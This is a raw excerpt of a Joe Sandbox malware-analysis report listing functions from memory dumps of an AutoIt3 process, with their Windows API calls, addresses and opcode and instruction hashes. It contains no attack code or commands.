Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: 27f7fd0ebe57bb37b9c0e6836f86afc979fe7e6906f9893ef4049a055ff33ac7
Instruction ID: e45fbca1fa4d7df79e6e938310dc8a4f0cc276d488295478c03cf1eb4c22b9f5
Opcode Fuzzy Hash: 27f7fd0ebe57bb37b9c0e6836f86afc979fe7e6906f9893ef4049a055ff33ac7
Instruction Fuzzy Hash: 6D01D435B007047EE720EAA98C82F6EB7ACDB46B18F6141F6F610EB1D2D6745E0181A0

Function 008A92C8 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 008A92D6

Part of subcall function 00862F85: RtlFreeHeap.NTDLL(00000000,00000000,?,00869C54,00000000,00868D5D,008659C3), ref: 00862F99
Part of subcall function 00862F85: GetLastError.KERNEL32(00000000,?,00869C54,00000000,00868D5D,008659C3), ref: 00862FAB

_free.LIBCMT ref: 008A92E7
_free.LIBCMT ref: 008A92F9

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
Instruction ID: bf80fb86c4625cc79b7ffae9f1c33f66e892db2079f7c5cc9bf2cc352c808852
Opcode Fuzzy Hash: d545b8d0ab5e92762063c3ba8b14d4eaebd98453bfde93cefd35328ad8659e4d
Instruction Fuzzy Hash: BBE0C2A1208A0253DA30A53C6840F8377FCEFC8711716044DF45ADB542CE28E8408028

Function 00845E83 Relevance: 4.1, APIs: 1, Strings: 1, Instructions: 551COMMON

Download Yara Rule

Strings

CALL, xrefs: 0087E234

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID:
String ID: CALL
API String ID: 0-4196123274
Opcode ID: 86c7a07b8d330abf381f9a3694009797d5ec9d79b4527561bf3e9750416b52ec
Instruction ID: ad8aa215db3991837220d632a5d01a6c85d37e8b6e321ec854d6a95fae2f40bf
Opcode Fuzzy Hash: 86c7a07b8d330abf381f9a3694009797d5ec9d79b4527561bf3e9750416b52ec
Instruction Fuzzy Hash: 6C3227706087499FDB24DF18C494A2AB7E1FF85304F15896DE88ADB362E731EC55CB82

Function 008548B0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 008548FA

Strings

EA06, xrefs: 008908A1

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: _memmove
String ID: EA06
API String ID: 4104443479-3962188686
Opcode ID: dcfa89b706f8f8589b71fafe8be980790aef2160beaecb7691ce9dd81258579f
Instruction ID: a769442ec748fb513a5b28e0bd68bee1814921881076fe80ae681ad38fb5b24f
Opcode Fuzzy Hash: dcfa89b706f8f8589b71fafe8be980790aef2160beaecb7691ce9dd81258579f
Instruction Fuzzy Hash: 93417B61A041585BDF229B588C527BF7FA5FB4530AF585074EC82E6297D5208DC887E2

Function 03B921B8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,?,?,?,03B7AD04,00000000,03B7B1B3,?,?,00000000,00000000), ref: 03B921FA

Strings

GetFileAttributesA, xrefs: 03B921DE

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: GetFileAttributesA
API String ID: 3188754299-811605020
Opcode ID: dc20bd59a3df374b630dc818a8b9edd366887f27701e6789461e7c97a4700d8b
Instruction ID: 28393d016209f53f394cc18c0684a9d9cbbfea13f234fd32c07dd68d79701c0b
Opcode Fuzzy Hash: dc20bd59a3df374b630dc818a8b9edd366887f27701e6789461e7c97a4700d8b
Instruction Fuzzy Hash: E0F0AF34E0070CBFEF19EFF8D995A5DB7A8EB0A618B500CF6E4109F552D6745A00D610

Function 03B91D00 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,40000000,00000002,03B91EBC,?,?,?,?,00000000,00000000,?,03B91E80,00000000,00000000,00000002,00000000), ref: 03B91D30

Strings

CreateFileA, xrefs: 03B91D0C

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: CreateFileA
API String ID: 823142352-1429953656
Opcode ID: 63bab40cc9353e069a5c0b3d9bf806fb90ed707edb724aa95342ff2ceac559e2
Instruction ID: 582e58313c4b426ccc8ad4331a6a1d701077d7cf7b5cd93da5c4c2cbb88ef697
Opcode Fuzzy Hash: 63bab40cc9353e069a5c0b3d9bf806fb90ed707edb724aa95342ff2ceac559e2
Instruction Fuzzy Hash: 6AE012772001097F9710D99AEC84C97BBBDEECD664714C52AB618C7215D570DC0287B4

Function 03B91A5C Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(00000000,00000000,?,00000001,03B91526,03B8DFB4,00000000,00000000,00000002,00000000,00000000,00000000,00000002,00000000,03B8E2FB,00000000), ref: 03B91A75

Strings

TerminateProcess, xrefs: 03B91A62

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: ProcessTerminate
String ID: TerminateProcess
API String ID: 560597551-2873147277
Opcode ID: 8b2efa5af691eb3a6977f5172a0ce7de8c31df2be3fd96abc8f9deff377971f2
Instruction ID: 2e0356bcb2e9f3b5a0f3b6b1477c13bc0616319aadab2829f96d27a0e749c574
Opcode Fuzzy Hash: 8b2efa5af691eb3a6977f5172a0ce7de8c31df2be3fd96abc8f9deff377971f2
Instruction Fuzzy Hash: E8C08CB3711226BFAF20E2FCAC88CA72A8CDA4C1A93040862B224D7125C5A44C0043B4

Function 008A7D6E Relevance: 3.1, APIs: 2, Instructions: 133COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 008A7E96

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 3f063a40e0132722e35ad9ab73e113ef55553f824b384a7d890459886ddb02de
Instruction ID: aa59b3deb39a49da769d47d186ed3cee1ae0bb4811f59ac9dd80cfa4660b6c51
Opcode Fuzzy Hash: 3f063a40e0132722e35ad9ab73e113ef55553f824b384a7d890459886ddb02de
Instruction Fuzzy Hash: 7141D8725086099BEB10DFACDC8197EB7A8FF1A744B244499F245D7682DF319C00EB51

Function 008542F9 Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000,00000000,?,?,00853E72,?,?,?,00000000), ref: 00854327
CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,00000000,?,?,00853E72,?,?,?,00000000), ref: 00890717

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: bda1ccb6a60089a38d425d7ab2ec68dbf5c01f14a88dc9646902cc45194748fc
Instruction ID: 8447eb436675b9ff350b3cdbd62a600a7565d9247ee5c0561fb1fbc17525a0ea
Opcode Fuzzy Hash: bda1ccb6a60089a38d425d7ab2ec68dbf5c01f14a88dc9646902cc45194748fc
Instruction Fuzzy Hash: E8018470144309BEF7241E148C86FA67B9CFB0176DF10C319BED49A1E0C6B15C89CB14

Function 00860FE6 Relevance: 3.0, APIs: 2, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0086593C: __FF_MSGBANNER.LIBCMT ref: 00865953
Part of subcall function 0086593C: __NMSG_WRITE.LIBCMT ref: 0086595A
Part of subcall function 0086593C: RtlAllocateHeap.NTDLL(00ED0000,00000000,00000001,?,00000004,?,?,00861003,?), ref: 0086597F

std::exception::exception.LIBCMT ref: 0086101C
__CxxThrowException@8.LIBCMT ref: 00861031

Part of subcall function 008687CB: RaiseException.KERNEL32(?,?,?,008FCAF8,?,?,?,?,?,00861036,?,008FCAF8,?,00000001), ref: 00868820

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrowstd::exception::exception
String ID:
API String ID: 3902256705-0
Opcode ID: 6298b1c3eeafa3143396203a147b8c868057aa275871e566e04622b432eb7846
Instruction ID: 274ab267e081d8f4b94371bbd14042a32b8a07bb6024fab9809d0984335a572f
Opcode Fuzzy Hash: 6298b1c3eeafa3143396203a147b8c868057aa275871e566e04622b432eb7846
Instruction Fuzzy Hash: EBF0F43450421DA6CF20ABACED09ADE7BACFF01310F110556F918D2282DFB09B84C6A7

Function 0086581D Relevance: 3.0, APIs: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0086584C
__lock_file.LIBCMT ref: 0086586D

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: __lock_file_memset
String ID:
API String ID: 26237723-0
Opcode ID: 5a273a8419ec42f4d76e2c1f997ab7b95c0deb5b675c024b4800d0df5673b3c0
Instruction ID: 4e0eb946dd07f7824c65537a5e28d20bd204fedd912dfe9a62e459aa5bec9f3c
Opcode Fuzzy Hash: 5a273a8419ec42f4d76e2c1f997ab7b95c0deb5b675c024b4800d0df5673b3c0
Instruction Fuzzy Hash: 7A014471800A49EBCF12AF6DCC0599F7B61FF80360F164225B928DB1A1DB358A21DF92

Function 008655C6 Relevance: 3.0, APIs: 2, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00868D58: __getptd_noexit.LIBCMT ref: 00868D58

__lock_file.LIBCMT ref: 0086560B

Part of subcall function 00866E3E: __lock.LIBCMT ref: 00866E61

__fclose_nolock.LIBCMT ref: 00865616

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: __fclose_nolock__getptd_noexit__lock__lock_file
String ID:
API String ID: 2800547568-0
Opcode ID: cf1dc0e292e647a34082ac1edbf75aaed7c8235d123b1c76570659659d81a1e4
Instruction ID: 08bd7df8d19b2087a751f339273b3ca20b7080ff24328b3a8ddb0af419a405d9
Opcode Fuzzy Hash: cf1dc0e292e647a34082ac1edbf75aaed7c8235d123b1c76570659659d81a1e4
Instruction Fuzzy Hash: E0F09071801B09DBD7116B7D880A76E67A1FF40334F238309A529EB1C1CB7C4A019F52

Function 00865E80 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 00865EB4
__ftell_nolock.LIBCMT ref: 00865EBF

Part of subcall function 00868D58: __getptd_noexit.LIBCMT ref: 00868D58

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: __ftell_nolock__getptd_noexit__lock_file
String ID:
API String ID: 2999321469-0
Opcode ID: b26fb45bccf32318c82a404f70c4eb550e010b3809401965d6a7f2f47ef85aef
Instruction ID: 3ed2c540ba6da88a7e9bc6434b15e005dde3f352fc4d7bac7c067eea90d6f424
Opcode Fuzzy Hash: b26fb45bccf32318c82a404f70c4eb550e010b3809401965d6a7f2f47ef85aef
Instruction Fuzzy Hash: F0F082319116199BDB00AB7C890275E7290FF01331F234306A024EB1C1CF784A019B57

Function 03B64AD4 Relevance: 3.0, APIs: 2, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32 ref: 03B649EE
SysAllocStringLen.OLEAUT32(?,?), ref: 03B64ADF
SysFreeString.OLEAUT32(00000000), ref: 03B64AF1

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: 0a60f8c0ed1e703f84daa18d4e57613ed1a0fa03695e0a97a9536ff477675d6c
Instruction ID: 2fdde5a4c5c3d3c1c5f50ea41afd7f5ce0fcc0b29754d227dc20704056116c46
Opcode Fuzzy Hash: 0a60f8c0ed1e703f84daa18d4e57613ed1a0fa03695e0a97a9536ff477675d6c
Instruction Fuzzy Hash: A2C08CBC5097026EFF08AF325B05A7BA398EE8210C78844FCED02CC183DA2CC8405828

Function 03B615C8 Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,03B6195B), ref: 03B615F7
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,03B6195B), ref: 03B6161E

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 33542c7bdc91010315dec12d6f6e79437e9ed7b058ab39a18d0fb63bec2e92a0
Instruction ID: 59ec114337d680f7f94a3121866a208511cc94d32936d0d6ef6e8744f8563c43
Opcode Fuzzy Hash: 33542c7bdc91010315dec12d6f6e79437e9ed7b058ab39a18d0fb63bec2e92a0
Instruction Fuzzy Hash: 9BF0A777F0072027DB20DA6D4C80F579A99EF857A8F1901F1F94DEF3CAD6658C0142A4

Function 00F1A7E9 Relevance: 2.5, APIs: 2, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00F1AB7C), ref: 00F1A818
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00F1AB7C), ref: 00F1A83F

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: ce12a9fcf176a7bbbfdd0b8c1709c82ba65f4e0f95d661b6bcf3015d77855b09
Instruction ID: 57b4402cc6492fdcb37bc9341ed7734ca510642f4e6c21425f8595c84b0abbdd
Opcode Fuzzy Hash: ce12a9fcf176a7bbbfdd0b8c1709c82ba65f4e0f95d661b6bcf3015d77855b09
Instruction Fuzzy Hash: ACF02776F0222056DB216A6C4C85BC679959F657B0F190170F90CFF3C9D6A58C81A2A2

Function 0084A820 Relevance: 1.7, APIs: 1, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17389fca2e34a2d210144c159f831529c984c4e0fa99f8c2e59f838b879cfce1
Instruction ID: 7f3c098257e70b8f6e2ea986d9379f413e859d84c0102b962ae492f6a65e01fe
Opcode Fuzzy Hash: 17389fca2e34a2d210144c159f831529c984c4e0fa99f8c2e59f838b879cfce1
Instruction Fuzzy Hash: BF61BA7464060ADFDB18EF54C881A7ABBE9FF08304F15816DE926CB292D774ED81CB52

Function 0084D679 Relevance: 1.7, APIs: 1, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3ea55d64251296fc5a7a481ff21c0c15a41e2f3ff91091cd471a526a99009a0
Instruction ID: ada3b36547b2ae2005a6b523af0353416fc7143c12b4956a7baa8707e16f98b3
Opcode Fuzzy Hash: c3ea55d64251296fc5a7a481ff21c0c15a41e2f3ff91091cd471a526a99009a0
Instruction Fuzzy Hash: 6451AE35600A08ABCF14EB68C995F6E77A6FF45350F158068F906EB392DB30ED05CB92

Function 03B911B8 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 03B9138C

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CountTick
String ID:
API String ID: 536389180-0
Opcode ID: d28a739ebbb34d04c838b595eb45980f60982f9d76fb052c0c91bcc35e1fe70a
Instruction ID: 61b9bf2a49838dbcf33b39853540877df9c272b7ceb893c2a24db66f30a55d13
Opcode Fuzzy Hash: d28a739ebbb34d04c838b595eb45980f60982f9d76fb052c0c91bcc35e1fe70a
Instruction Fuzzy Hash: B851E839A1420E9FEF10FBA5E9809DDB3B5FF48208F5049B2E4107F625DB75AE068B50

Function 0085410A Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,?,00000001,00000000,00000000,00000000,00000000,00000000), ref: 008541B2

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: b8f0a54af802bc03ad27b08681365b6a57a602ad4e4910fab663bfd129a9f681
Instruction ID: f8e8ff69a5cced24a8f813e366a30a2f685e1775c0019367d01ca8f47aceebf4
Opcode Fuzzy Hash: b8f0a54af802bc03ad27b08681365b6a57a602ad4e4910fab663bfd129a9f681
Instruction Fuzzy Hash: 1A315C71A40A1AAFCB18CF2DC88469DB7B1FF54319F149619EC15D3710D770A9E88B91

Function 00860E38 Relevance: 1.6, APIs: 1, Instructions: 94COMMON

Download Yara Rule

APIs

EnumWindows.USER32 ref: 00860EE7

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 7df8d3b84344f6b1af17659a425dc52404ea7cef4232cd4fc484a44b48917532
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 0D31E470A00119DFC718DF58D48096AF7A6FF59304B668AA5E409CB252EB32EDC1CF94

Function 0087E2DF Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0087E2EA

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 3ae70a746b4d95c285c00a236664991006608846ce374e93b8ff8d4f8a0a5a7f
Instruction ID: 665940fa390bf9a447cac6115f1fc7249b3a1f1167ef4a89d002afad71704bd6
Opcode Fuzzy Hash: 3ae70a746b4d95c285c00a236664991006608846ce374e93b8ff8d4f8a0a5a7f
Instruction Fuzzy Hash: 46412674508755DFDB24CF18C488B1ABBE1FF45318F0989ACE8899B362D371E895CB52

Function 008549C2 Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00854B29: FreeLibrary.KERNEL32(00000000,?), ref: 00854B63

Part of subcall function 0086547B: __wfsopen.LIBCMT ref: 00865486

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,008527AF,?,00000001), ref: 008549F4

